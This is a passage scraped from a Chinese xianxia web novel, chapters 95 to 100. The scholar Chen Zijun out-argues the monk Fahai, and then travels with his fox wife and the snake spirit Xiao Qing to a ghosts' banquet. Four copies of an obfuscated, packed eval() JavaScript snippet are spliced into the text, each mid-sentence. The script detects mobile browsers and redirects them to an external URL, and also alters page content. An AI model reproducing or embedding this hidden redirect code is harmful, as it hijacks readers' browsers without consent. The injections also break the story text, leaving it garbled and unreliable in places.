“第二个问题,若是我们将这世上所有的妖,无论好的坏的,全都一视同仁视为敌人,这究竟算公平,还是不公平?若是其中又有一心向佛的呢?那时候大师遇到这样的妖怪,是放过,还是同样收了?!” “……” 没等法海反应过来,陈子均继续发问。 “第三问,若这世上只能有善存在,那天为何还要创造恶?” “第四问,若这世上没了恶,善还能称之为善么?若这世上没了善,恶还算恶么?” “第五问,若这世上众生连善恶都不分,那佛祖,还算佛祖么?” 法海神情未变,依旧凛然,但手中的红漆禅杖上的金环,却无风自动,发出轻响。 胡翘翘也凝眸思索起来,小脸有些迷茫。 对呀,要是世界上没有了恶人,那是不是,一个人只要不做好事,就算是坏人了? 换个角度来看,就算世界上没有像她胡翘翘这样的笨蛋,人人都很聪明,那也总有一个或几个不那么聪明的人吧,到时候,那些人岂不是就变成了新的笨蛋?而且,相公还常夸她聪明呢,想必有人比她还笨吧,所以聪明或笨,都是对比出来的嘛。 没有丑陋,那就会轮到容貌平平无奇的人被嫌弃。 没有残疾,那患病的人会变成新的残疾者。 再如果,老天帮大家将所有不好的东西统统消灭,让所有人都一样漂亮、一样聪明、一样善良……没有任何区别高下,这倒也公平了,可是…… 咝—— 这样的世界,光是想一想,都觉得很奇怪,很可怕呢! 这一连五问,直问得法海怔楞原地。 “在下认为,恶才造就了善,善则对比了恶。只有让恶有恶报,善有善报,我等追求善恶方才有意义。”陈子均淡声道,“大师觉得如何?” 他声轻鸣在耳,如彻在心。 第96章 无情之道 良久后,法海缓缓收回禅杖,站定后,看着陈子均,“阿弥陀佛……书生不是佛门中人,能达到这种境界已属难能可贵。以贫僧看来,施主颇有慧根,可愿入我佛门,潜心修行佛法?我可代师收徒,许汝为我师弟。” 听到这里,胡翘翘差点跳了起来。 什么?!听这和尚的意思,他是要自己相公也去当和尚? 她立马推开车厢门,心急火燎地道,“相公,当了和尚我们就不能在一起了,你千万别答应!” 陈子均笑了起来,“多谢大师厚爱,只是佛门讲一个‘缘’字,在下自认与佛的缘法尚未到那一步,还是罢了。” 法海瞪大眼,面露难以置信之色,“什么?你不肯?你可知我是……” 拘囿于人类的寿命短暂,他以佛门的秘法保留神魂不灭,再不断转生成灵胎,每一世都带着前几世的记忆与修为,再游历世间,替天行道,累积功德。 这一世世下来,离结成佛果已然不远。 方才因眼前这书生一番话,他灵台受到触动,朝着凝聚佛果又近了一步。 佛门最为讲究因果,正因此,他主动开口邀请对方做自己的师弟,日后自己成佛,也必有机缘回报对方,这才叫因果相袭。 孰不料,对方居然一口拒绝?! 他察觉险些说漏嘴,顿了顿,改口道,“你可知我师傅是谁?嘿,多少人对这机会做梦都求之不得,如今摆在施主眼前,唾手可得,你居然还不愿意!你可知,你这一拒绝,错过了何等机缘?!依我看,如今你离得道只差一步,进则净土,退则凡尘,这世俗名利、凡人情爱本是镜花水月、梦幻泡影,何必过多留恋,不如入我佛门,断绝红尘,清心寡欲,认真修行!” “你这臭和尚,自己做和尚还不够,还要害我相公!”2 胡翘翘气恼无比,握紧小拳头,若非她估计打不过,又相信相公不可能答应,早就扑上去了。 陈子均想了想,道:“大师,我又有一问,《金刚经》第一节,便写了佛陀着衣持钵,次第乞食、洗足敷作等日常事,请问佛陀已然觉悟,具足有六神通,为何还要如红尘众人一般,穿衣吃饭?“ 法海一愣。 这问题他竟然从未想过。 “……施主是想说什么?” “因为佛祖想要告诉众人,当下即是宝藏,一切具足,全无欠缺,何用向外觅求?我心含笑,即便身在红尘,也是般若。“陈子均淡淡道,“真心修行的,红尘缠身同样可以修行。不愿修行的,便在佛门也只是枯敲木鱼。” “我心含笑,即便身在红尘,也是般若……”法海下意识地重复了遍,目光变幻不停。 啪啪啪! 看着法海半晌无言的模样,青蛇娇笑鼓掌。 当初这和尚也曾拉着许仙说什么慧根,要他出家,许仙支支吾吾,连拒绝的话都说不囫囵,真没用! 还是公子厉害,三两句便将这和尚说得无言以对,快哉! 法海回神,转眸看向她,淡淡道,“蛇妖,你休得意,今日我暂且放你一条生路,但你将来若是作恶,我依旧会替天行道!” “少说大话,”青蛇长剑挽了个剑花,冷冷道,“说不定我先变厉害了,去找你这秃贼算账!” 法海笑了:“你同我算什么帐?” “若不是你在许仙面前嚼舌根,让他去喂姐姐喝雄黄酒,姐姐怎么会现出原形,又怎么会为了救他去青山宗盗灵草,被关入镇魔塔!” 法海先是一愣,继而看着她,仿佛听见了全天下最滑稽的笑话一般,挑起剑眉,胸膛震动,发出一个惊天动地的笑声:“哈哈哈哈哈哈哈!” 禅杖上的金环也跟着哗哗作响。 青蛇被他笑得不知所措,也定定地看着他,神情僵硬地冷喝,“你笑什么,我说错了么?!” “错到荒谬!分明是白蛇自己传音给我,让我在许仙面前揭穿她的身份,这屎盆子却被扣在贫僧的头上,贫僧能不觉得好笑么?” 小青一愣,想也没想地反驳。 “你、你胡说!” “阿弥陀佛,出家人不打诳语。” “不可能,姐姐为何要这么做!” “因为,你姐姐原本修的就是无情道!”法海看着她,眸光冷冽,一字一顿,如当头棒喝,“她要借此事,还掉许仙的前世因果,同时斩断夫妻情,斩断姐妹情,成就无情大道!” 如晴天一声霹雳,炸响在小青的耳边,她踉跄后退了几步,手中长剑落地。 “我不信!” “信不信,由你!” 法海说罢,转头看向陈子均,合十道,“敢问施主尊姓大名?” 陈子均还礼,“鄙姓陈,名子均。” “阿弥陀佛——”法海再次合十,唱了声佛号,“今日得遇陈施主,是贫僧之幸,望日后有缘再见。” 陈子均含笑还礼,“大师客气了,祝大师早得圆满,证得佛果。” 法海微微一笑,直起身,握着禅杖,“多谢,那贫僧先行一步了。” 说罢,他转过身,继续飘然前行。 青蛇还在原地怔楞,眼角有光,只是喃喃。 “不可能,不可能……” 她不愿相信法海的话,若法海说的是真话,岂不是代表,白素贞也要斩断与她的姐妹情,她为白素贞的日夜担心忧愁,全是笑话? 一时间,她思潮乱涌。 若无法海这一番话,她本不会怀疑,但现在存了疑心,再回头看过去的事情时,确实疑点重重。 一个千年的蛇妖,什么人没见过,却会对一个虚有其表、懦弱无能的男人动心,就因为,对方是她前世的恩人? 她对任何事都淡漠无比,为何对就一个仅有一面之缘的男人,情感炽热到要以身相许? 还有,她明明知道喝了雄黄酒会现出原形,为什么要听许仙的话喝下去?用幻术将许仙蒙骗过去不行吗? 除此之外,她身为千年蛇妖,手中又有高僧舍利,真的不敌青山宗那两个凝魂境的小子么?连逃跑都不做到? 还是…… 她根本就是想借此了断与许仙的夫妻情,还有和自己的姐妹情? 青蛇越想越心痛,只觉得整颗心被一层一层,把真相撕现,鲜血淋漓。 无情道…… 是啊,她早该看出。 也许从始至终,白素贞和自己交好,结拜姐妹,还拉着自己一起去钱塘县,都是打着利用自己,修炼无情之道的念头! 她掩住了面,指缝开始湿润。 唉,为什么,为什么妖怪像人之后,就会拥有人一样的七情六欲,为被背叛而痛苦,为被利用而难过。 她多希望,自己还是峨眉山下那条无忧无虑的小小青蛇! 胡翘翘也听到了法海的话,知道小青此刻定然十分难过,她下来牛车,走到小青的身边,轻声安慰。 “小青,你也不要相信那个和尚的一面之词,万一他说的不是真话呢?” 虽然,她自己也觉得这可能性不大。 青蛇沉默片刻,抹了把眼泪,倔强道,“嗯,我不信,一定会亲自问过姐姐。” 她跃到车辕上,涩声道,“公子,翘翘姐,可以走了。” 牛车继续前行。 车厢内,陈子均轻轻摸了摸胡翘翘的头发,“娘子刚才被吵醒了?” “嗯……” “还困吗?” “有一点。” “再接着睡一会儿?” 胡翘翘的手揪住他的袖子,软声道,“可是我怕……” “怕什么?” “怕我睡醒后一睁眼,发现相公被刚才那个坏和尚抓走了,当了和尚。” “啊……”陈子均差点笑出声,“不会的。” “反正……我不敢。”她眨眨眼,撒娇道,“除非相公陪着我睡,这样我才放心。” “怎么陪?” 胡翘翘想了想,拱进他的怀里,然后躺下来,把脑袋垫在了他的大腿上,再拉住他一条胳膊,抱得紧紧的,“像这样,我把相公压在下面,再抓住你的手,即使那个坏和尚来了,也不能一下抢走你了。” 陈子均笑了,“好主意。” 胡翘翘闭上眼,喃喃道,“坏和尚,居然想要我相公出家,哼,不知道他已经娶妻了么?” 陈子均抬起手,一下一下地梳着她的头发,“是啊,为了娘子,我也不可能出家的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892967|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 牛车走得平缓,头顶上传来的相公手指温柔的触摸,好舒服啊。 胡翘翘慢慢又睡着了。 她做了一个梦。 梦中,相公被法海抢走,还被逼着当了和尚。 她一怒之下,也出家成了尼姑。 然后冲到那什么金山寺,拿着拂尘,指着法海,怒气冲冲地道,“臭贼秃,竟敢和师太我抢相公!” 她飞起一脚,将法海踹进一条臭水沟,法海“呱”地大叫一声,变成了一个癞蛤蟆,不知蹦到哪儿去了。 再接着,她飞奔到相公身边,将他的手握在自己的胸前,无比深情地道,“相公,翘翘来救你了!” 相公感动道,“我就知道,娘子一定会来的!” “那当然!”她踮起脚,闭上眼,撅起唇。 相公用手捧着她的脸,慢慢低下了头…… 等等,和尚和尼姑能嘴碰嘴么? 好像不太好吧…… 管它呢,反正是做梦…… 胡翘翘正胡乱地梦着,忽然耳边传来了砰地一声。 她吓了一跳,睁开眼。 第一反应是看陈子均还在不在。 发现她还好好地枕着陈子均的大腿时,松了口气。 这时,她才发现,原来那方才砰地一声,是车窗被风吹得碰撞的声音。 胡翘翘又看了眼天空,天色阴暗,乌云汇聚,风也刮起来了。 “是要下雨了吗?” 陈子均开口说,“小青,看看这附近有没有地方避雨。” 牛车虽然有顶棚,但冒雨赶路总是不太方便,如果弄个驱雨咒或是避雨术什么的,也不是不行,不过违背天时、引人注意的事,还是能不做就不做的好。 很快,小青的声音飘进车厢:“前面有个茶棚,应该可以避雨,公子要过去么?” “嗯。” 前方果然有个茶棚,四根木柱,上面 扎着稻草、棕毛粗麻、油纸、棕丝等混在一起做成的雨棚,可以很好地防雨遮阳,下面摆着几张桌子,方便路过的人喝茶。 陈子均让小青将牛车绑在了茶摊旁的大树下,树叶能挡一部分雨,又取出牛用的蓑衣,替老牛披上,方才同胡翘翘、小青走进了茶摊,寻找空桌。 三人刚坐好,紧接着一声雷鸣,完全不给人准备的时间,大雨便已经倾盆而落,天地一片漆黑,仿佛女娲补天之时漏下了一道缝似的,水哗哗往下泼洒。 …… “好大的雨啊……” 法海拧眉,晃动手中的红漆禅杖。 禅杖忽然变成了一把红色的大伞,挡住了这倾盆的雨柱。 他迈步继续往前走,没走几步,忽然错愕地停下。 前方不远处有个一身红衣的小女娃儿,雪白肌肤,点漆大眼,头上带着个蜘蛛银冠,雨水鞭打着她小小的身躯,头发与衣服都已经湿透。 法海双眼精光一闪,已经看出它的原形。 是个蛛妖…… 咦,它身上怎会还有功德? 小女娃儿看到他,似乎有些畏惧,哧溜一下,钻进路边的树丛。 法海静了会儿,脚上的草鞋踩着雨水,啪嗒啪嗒走过去,沉声问道:“要打伞么?“ 小女娃儿盯着和尚看了片刻,没感觉出多少恶意,才小心翼翼地钻了出来,但不敢靠近,离他一米远。她直觉这个和尚比她厉害得多。 法海晃了下手中的雨伞,伞面便又变大了几分,足够遮住他和它。 一个高大和尚打着伞,一个还没到他腰高的小女娃儿与他相隔一米,一起站在伞下。 雨水砸在伞面上,噼里啪啦地响。 过了片刻,法海先打破沉默,“你从哪儿来的?” “白崖村。”小女娃儿低头把玩着柔嫩的手指头,“你知道么?” 法海摇摇头,又问,“你要去哪儿?” “……不、不一定,”小女娃盯着绣花鞋面,回答的有些心虚,“就随便走走、看看。” 一僧一妖没再说话,身边只有清亮连绵的雨声。 许久后,和尚忽没头没脑地说,“你的运气不错。” “?” 第97章 大雨拦路 雨又大又急,哗啦啦地从天空往下坠。 除了陈子均他们,茶摊中还有老板和伙计,以及几个来避雨的人。 三人刚一进茶摊,所有人的目光便齐刷刷地望了过来。 心中都是同样的感叹。 好俊的书生,光是看着,便给人一种儒雅斯文又英华内敛之感。而他身边的小娘子虽戴着面纱,却依然看得出那眉眼举止中的妩媚风流。 就连那青衣书童,也眉眼俊俏灵动,不下女子。 被人这么盯着看,三人也没太大的不适,大抵是被看着看着,就成了习惯,毕竟眼睛长在别人脸上,要怎么看、怎么想,他们也管不着,只要不来多事就行。 陈子均挑了张角落的空桌坐下,胡翘翘坐在他的旁边。 伙计走过来,热情地问陈子均要什么茶。 既然借了人家的地方避雨,点几杯茶也理所应当。 官道旁的茶摊所用的茶叶没有正规的茶馆讲究,基本都是几文钱的大碗茶汤,最贵的一种也不过六文钱,便能喝上满满一大碗。不过除了常见的大路茶汤之外,还准备了几种女士们爱用的果茶和花茶,倒也齐全。 陈子均便点了一碗六文钱的茶汤,准备尝一尝和白崖村的有没有什么区别。 小青要了一份山楂茶,胡翘翘则是选了一份冰糖梅子茶。 伙计又问,“快中午了,三位可还要点吃食?” 胡翘翘的储物袋里有不少吃的东西,但众目睽睽之下,从储物袋中取东西太过招摇,陈子均问,“有什么?” “有小店自己做的胡饼、巨胜奴,青团子、还有松仁核桃饼,凡是吃过的人都夸价廉物美,客人尽管放心。” 巨胜奴陈子均倒是知道,就是用蜂蜜和糯米粉、芝麻做的油炸小麻花,每一根都是手指粗细,吃起来香香脆脆。 陈子均想了想,“每种都来一些尝尝吧,按照我们三个人的份量准备。” “好嘞!” 这时,又有一辆驴车赶到茶棚边停下,两个年轻男人从车上跳下来,快步跑进茶棚后,站住脚,用力抖着身上的雨水。 这两人的打扮很类似,身上穿着书生襕衫,头戴纶巾,只是颜色材质稍有区别,怀中还各自抱着一个大书箱。 “这雨可真大。” “哎,先歇歇吧,等雨小一点再走。” “书箱没打湿吧?” 另一名书生看了眼,呼出口气,“还好,没什么问题。” 雨水抖得差不多了,两人走到陈子均的邻桌坐下。 这时,他们才注意到陈子均和胡翘翘,顿时都是一怔。 好一对神仙眷侣。 他们有些呆滞地盯着两人,尤其是胡翘翘,过了片刻才回过神,自知失礼,便扭开视线,叫来伙计点了两杯茶,几样茶点后,轻声聊天。 过了会儿,陈子均点的茶水和吃食也端了上来。 陈子均端起茶碗,喝了一口。 茶叶炒制工艺不够讲究,是以香味很淡,还有点涩口,和白崖村村民自制的茶叶泡出来的半斤八两,应该也是自制的,茶汤的颜色同样不够清亮,不过价格摆在这里,倒也不能有太高的要求。 倒是胡翘翘,很喜欢那冰糖梅子茶。 这梅子茶顾名思义,就是在茶叶中加了青梅同煮,还加了冰糖,不过冰糖放得并不多,所以也不会太甜,喝起来便是酸甜适中,满口生津。 她又将每样点心都尝了一点,再把自己的茶碗推到陈子均的面前,眉眼弯弯地极力推荐。 “相公,这个梅子茶搭配松仁饼很好吃呀,你也试试。” “是吗?” 陈子均喝了口,冰糖梅子茶酸酸甜甜。 再尝了一口松仁核桃饼,它倒不是很甜,但酥松的饼身夹杂了大量松仁与核桃,咬上一口,香酥无比。 两种口感在口中混合在一起,搭配起来既不会过腻,也不会太平淡,堪称天衣无缝。 于是,他叫伙计过来,又点了一份松仁饼和梅子茶,给了胡翘翘。 “喜欢就多吃一点,这雨看起来一时半会不会停。” 果然,直到半个时辰后,雨才渐渐转小,但也不太方便上路。 中间,陈子均又喝了杯茶,叫了份点心。 直到未时一刻,雨点才变成了稀疏的雨丝,天光也明亮了起来。 陈子均看了眼胡翘翘,她表面还坐得端端正正,但两只小脚正不安分地在桌子底下踢来踢去,一对通透明亮的眼珠也在来回转悠,显然已经坐得有点不耐烦了。 “现在不碍事了,我们走吧。” “嗯!”胡翘翘立即站起来。 三人走出茶摊,重新上了牛车,继续往前。 又走出十几里地,雨才彻底停了下来。 这时,老牛忽然停下了脚步。 小青回头说道,“公子,前面不知道发生了什么,很拥堵,走不了了,我去看看。” 陈子均“嗯。”了一声。 胡翘翘也从窗户望了眼,前面的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892968|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上果然乌泱泱地全是人和车,不知道发生了什么。 小青跳下牛车,快步朝前走去。 陈子均也和胡翘翘下了车, 活动久坐的身子。 片刻后,小青回来汇报。 原来刚才的雨太大太急,前方一座山发了山洪,山体坍塌,滚下来的沙石截断了官道路面,无法行进,来往的车也好、人也好,此刻都堵在了半路上。 “有两家商队已经雇了民夫在清理路面,但我问了人,明天天亮之前应该没法正常通行。” 陈子均听完详情,沉吟起来。 “相公,现在怎么办?”如往常一般,胡翘翘第一反应便是问陈子均。 陈子均看了眼已经快垂落到西方山后的太阳。 “看样子,今天没办法继续往前走了,我们先找个地方过夜,明天再说吧。” 当然,还有一个办法,找个无人处,让胡翘翘把牛车收进储物袋,再由小青带着几人和老牛飞过这段路。 但小青修为尚浅,每次只能带一人,两人一牛就需要来回三趟,太过繁琐。 而且光天化日的,若被人撞见也麻烦。 小青应了声,又问:“公子,我们去哪过夜?” 胡翘翘眨巴着大眼,期待地看着陈子均,“相公,你之前不是说过,驿站也可以投宿么,刚才我在路上就看到一个驿站,不如,我们今晚就去那里过夜吧?” 陈子均沉吟片刻,摇了下头,“我觉得,和娘子有一样想法的人估计不少,而且站离这儿有二十多里地,等我们赶到,应该早就没空房间了。” 胡翘翘“哦。”了一声,小脸略带失落。 她还没住过驿站呢,很新鲜,想尝试一下。 看到她的模样,陈子均笑了笑,“好吧,我们先过去看看,如果真没房间了,再想别的法子。” 胡翘翘立即点头。 等她回到车厢,陈子均正要跟着上车,忽然,身后有人大喊了一声,“这位兄台,你们是要去驿站么?” 他回头看了眼,不远处有辆驴车,坐着茶摊中见过的那两个书生,一个皮肤微黑,唇上蓄短须,另一个白净无须,此时,白净的那个正朝陈子均微笑抱拳,显然方才便是他在说话。 陈子均笑了一笑,同样抱了下拳,“对。” “我们也打算过去看看,”白净书生笑道,又指了指被暮光染红的天空,“天快黑了,不如我们结伴走吧,这样比较安全。” 陈子均略一思忖,点头道,“好。” 第98章 死人聊天 牛车与驴车一起转头,朝驿站方向而去。 小青驾牛,陈子均坐在一边的车辕处,同驴车上的两名书生闲聊。 肤黑的书生寡言少语,只是偶尔说上一两句话。但那白净书生却颇为健谈,他告诉陈子均自己叫崔源,另一人名为穆士铭,两人都是三水县人,也是同窗,这次是一起去省城参加乡试。 接着,崔源又问陈子均,“陈兄去哪儿?” 陈子均笑笑,“和二位一样。” “咦?”两人都有些惊讶,崔源问道,“陈兄也是去乡试的吗?” 陈子均点点头。 “哈哈,这可真是缘分啊!”崔源拊掌大笑,笑完,又好奇地瞅了一眼牛车的车厢,“不过,方才茶棚中的那位……应是陈兄的家眷吧?” 方才在茶棚中的惊鸿一瞥,两人已对胡翘翘留下了深刻印象。 陈子均道,“正是内子。” “果然郎才女貌。” “冒昧问一句,陈兄来乡试,为何还带着家眷?” “我家中已没有其他亲人,不放心将内子一人留下。” 崔源与穆士铭这才恍然。 要知道,来省城乡试,这一来一回再加上等待放榜的时间,再快也要花费一两个月。若上了榜,次年开春又要赶往京城,很多人就干脆留在省城不回去了,这样一来,起码就得和家人分开大半年时间。 若换做是他们,估计也不舍得,更不放心将这样一个娇滴滴的小娘子单独留在家中那么久,哪怕砸锅卖铁,也必定带着同行。 最近的驿站也还有二十来里路,要走上近一个时辰,于是这一路上,崔源与穆士铭便拉着陈子均,谈天说地,谈古论今。 一开始,两人还暗存了比较的心思,毕竟在他们想来,长相是无法相比了,但在才华方面,或许两人能胜过陈子均,毕竟长相由老天决定,才华却多半靠自身,这样一来,两人也不算输了。 没想到,这一聊起来,却发现不光四书五经,还有天文地理、算学星象……无论他们甩出什么话题,陈子均都能轻轻松松的接住,甚至他随口说的一句话,他们反而要思考半晌。 一路行来一路聊,两人最初的比较之心彻底消失,取而代之的是欣赏与心折。 耗费了一个多时辰,直到天色全黑,才总算抵达了最近的驿站。 结果不出陈子均所料。 平时冷清的驿站今晚竟已人满为患。许多被堵在路上的人也同他们一样,都涌来驿站投宿,甚至还有两三个商队,因此原本宽大的驿站也被拥挤得满满当当,每间房中都挤了不少人,连大堂中都铺上了十几张地铺,即便如此,还有几十人无处安置。 崔源与穆士铭面面相觑,很是为难——两人的驴车十分窄小,光是坐着都有些伸不直腿,更别说睡觉了,难道要一夜不眠? 陈子均倒无所谓,他本来就在牛车中设计了用来睡觉的空间,大不了同胡翘翘在车厢中睡一晚,虽没有在床上舒适,但也不会太难受。 至于小青……妖怪需要睡觉么? 夜色中,忽然传来一阵车轮声。 很快,一辆马车驶到了驿站大门外,停了下来。 驾车的是个仆佣打扮的老头,车梁上左右各挂着一个暗红色的灯笼,在夜色中发出微弱红光。 陈子均看在眼中,微皱了下眉。 小青略微凑近,压低声音道,“公子,我感觉不太对劲……”但她又说不出是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892969|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿不对。 陈子均点点头,又摇摇头:“不用管。” 这老头儿其实并非活人,而是个修为颇深的老鬼,所以阴气控制得极好,几乎与人无异,小青只能看出很细微的一点不对,还无法据此推断出他不是人。 不过对方虽是阴鬼,却没有太大的怨气,显然并非厉鬼恶鬼,此刻对方目的未明,陈子均也不至于多管闲事,只当不知晓就好。 众人以为这马车也是来驿站投宿,当即便有人道,“已经住满了,腾不出地方了!” 老头下了马车,“我不是来投宿的。” 他扫了一眼众人,笑吟吟地道, “我家主人的家就在前面不远,知晓今夜驿站客满,大家投宿不便,我家主人便让我来告诉大家一声,我们愿提供免费住处,由我来领大家过去。” 不少人正露出喜色,老头接了下去。 “但我家主人有一个要求,需有功名在身的读书人,才能前往。” 只要读书人? 对了,今天是七月初一…… 陈子均目光微闪,心中浮现出了某种猜测。 这话实在太拉仇恨,顿时有人不满,“凭什么只让读书人去?” “家中空房有限,又有女眷,不便接待太多陌生人,”老头儿拱了拱手,从容解释,“出于安全考虑,加上我家主人素喜读书,才提出了这个条件,希望诸位体谅一二。” 合情合理,令人难以反驳。 “请问这里有没有读书人?” 崔源早已按捺不住,立即拉了一把穆士铭,“我们,我们是。” 老头儿点头,“好,两位若愿意到我主人家中暂宿一夜,便请到我这边来。” 第99章 剑斩美人首 胡翘翘正吃着从储物袋中取出的几样点心,有甜甜的糖酥,有红枣糕,有绿豆饼。 吃完一块糖酥后,她边舔着嘴唇和手指,一边想着陈子均。 不知道相公的晚饭吃得怎么样了,菜合不合他胃口,有没有喝酒,有没有想到过翘翘? 唉,她很少一个人吃东西,有点儿不太习惯。 方才听那老伯说这家的主人还为他们准备了歌舞,不知歌舞是什么模样,好不好看,是男人跳舞,还是女人? 多半是女人吧…… 想到没准此刻正有其他女人在相公面前跳舞,小狐狸的心里又泛起一阵酸溜溜,好似塞了满胸的青话梅。 呜呜呜,她也想跳舞给相公欣赏,可惜不会…… 想到这里,胡翘翘便没了胃口,她将没吃完的几样点心收回储物袋,趴在桌上,双手交叠,精致的小下巴支在手背上,盯着桌上跳动的烛火,俏脸生出淡淡的惆怅与思念。 唉,才与相公分开这么一小会儿,她就开始想念他了。 相公呀,快点回来吧…… …… 膳厅中。 主人的笑声戛然而止,冷冷地看着陈子均。 “这怎么可能?” 声音冰冷。 膳厅昏暗,白色烛光幽幽,竟似一团团的鬼火,又像是一只只藏在黑暗中的诡异眼睛。 一股不知来源的寒气,忽地充溢了整个膳厅,黏腻的冰冷阴湿之感,从脚底板一直爬到头顶心,崔源和穆士铭都不由自主地打了个冷颤。 陈子均却似乎毫无感觉,只淡淡开口。 “小青,将剑给我。” “是,公子。” 青衣书童不知从何处闪出,手中握着柄长剑,倒转剑身,将剑柄递向陈子均。 崔源见到这一幕,不解又有些不安,“陈兄,你、你要干什么?” 话音刚落,剑光一闪。 扑通。 斟酒侍女的脑袋忽然滚落在地,下一瞬,脖颈断口中,鲜血如浪潮般地喷涌而出,顿时染红了半个膳厅! !!! 崔源和穆士铭的大脑瞬间空白。 他们连做梦也没想到,陈子均竟一言不合,就一剑砍下了那侍女的脑袋。 世界天旋地转,眼神再无聚焦。 愣了半晌,两人才反应过来。 “啊——杀,杀人了!!!” 崔源和穆士铭发出高亢的喊声,齐齐从椅子上摔倒在地,抱在一起瑟瑟发抖,看向陈子均的眼神中,恐惧几乎都要溢出来,如看恶鬼。 不,对方一定就是恶鬼。 否则,怎么做得出这么可怕血腥之事! 奇怪的是,主人却没露出半分惊惶,只是直直地坐在那里。 陈子均同样面不改色,他慢条斯理地伸手,慢条斯理地拿起桌上一块用来擦拭餐具的白布,再慢条斯理地用这块白布擦拭着剑刃上残留的血迹。 与此同时,一个清朗的声音,亦在昏暗的厅内回荡而起。 “夜宿正无门,忽得老翁问。车马俱已备,可愿共酒樽。幽行二三里,槐后是主人。佳肴却惜冷,白蜡难破昏。宴半招舞者,翩若飞燕生。推杯未尽兴,笑指砍头痕。主人道戏言,拔剑乃为证。剑斩美人首,冷血如涛喷。持剑含笑问,是人是冤魂?“ 主人听完,神情有些怪异地盯着陈子均。 片刻后,他忽然叹了口气。 “郎君说得没错,死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892970|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,也是可以坐在这里,和你们聊天吃饭的。” 他话音落下,诡异之极的一幕,便在崔源和穆士铭的眼前上演。 只见原本喷得到处都是的鲜血,忽然变成了一片诡异的黑气,丝丝缕缕升腾而起,涌回了那无头侍女的脖子的断口内。 四周很快干干净净,仿佛那些鲜血从未存在过。 紧接着,无头侍女纤腰轻摆,走到落在地上的脑袋旁,弯腰拾起,将它安在了脖子上,甚至来回旋转,调整角度,直到满意,方才停下。 然后,她看向两人,轻轻眨动眼睛,那白嫩的脖子上,刀痕更鲜艳了几分。 崔源和穆士铭两个人都傻掉了。 原来,是鬼的并非陈子均,而是眼前的这个侍女…… 若她是鬼,那这宅子的主人呢? 还有,宅子里的其他人呢? 莫非都是…… 两人想到某个呼之欲出的答案,顿时抱得更紧了,抖得像是寒风中的两片落叶,又像是两只脱了毛的鹌鹑,凄凉又无助,想要夺门而逃,无奈两股战战,连站都站不起来。 侍女看着他们,好奇问道,“你们为何抖得如此厉害,很冷吗?” 崔源只觉得浑身冰凉,眼中不知何时已经含满了泪花,很干脆地闭上眼,往后一倒。 穆士铭也立马效仿。 侍女掩口惊呼,“老爷,他们晕过去了,怎么办?” 主人挥了挥手,“不必在意。” 两人松了口气,但尽管闭着眼,却堵不住耳朵,只听得陈子均和主人的说话声,一句一句地飘进了耳内。 “还没请问主人贵姓。” “免贵,在下姓苏。” “哪年生人?” 第100章 再吃一碗 崔源和穆士铭两人还沉浸在喜悦中,完全没留意主人与陈子均的对话。 片刻后,侍女拿来了纸笔。 主人写下故宅的地址和藏银的位置,朝二人递了过去。 两人都喜不自胜,崔源正要伸手接过那纸,忽然瞥到旁边的陈子均,又记起他方才砍掉女鬼脑袋的那一剑,猛地打了个寒颤,方才被狂喜冲得发热的大脑,倏然冷却下来。 他将手缩了回去,又凑到穆士铭的耳边,说了几句话。 穆士铭一怔,片刻后,缓缓点头。 “陈兄,”崔源扭头,轻唤了声。 陈子均看向他。 崔源审慎又小心地地开口,“这些银子本应是你的,我们受之有愧……还是你拿吧。” 穆士铭也结结巴巴地道,“是、是啊,陈兄你拿去吧。” 陈子均扫了两人一眼,竟发觉两人看向他的目光颇为复杂,其中似乎混着几分忐忑、几分畏惧,又有几分诚恳,转念一想,立刻明白过来——想必是因为方才之事,两人对他起了惧意,生怕拿了银子会惹恼他。 如此过了几秒,陈子均的脸上露出笑意,“两位太客气了。” “应该的,应该的。” “不过我并不缺钱,要来也没用,你们拿吧,不必在意。”陈子均挥了挥手,笑着说。 两人看出陈子均说的是真话,长舒一口气。 “多谢……陈兄。” 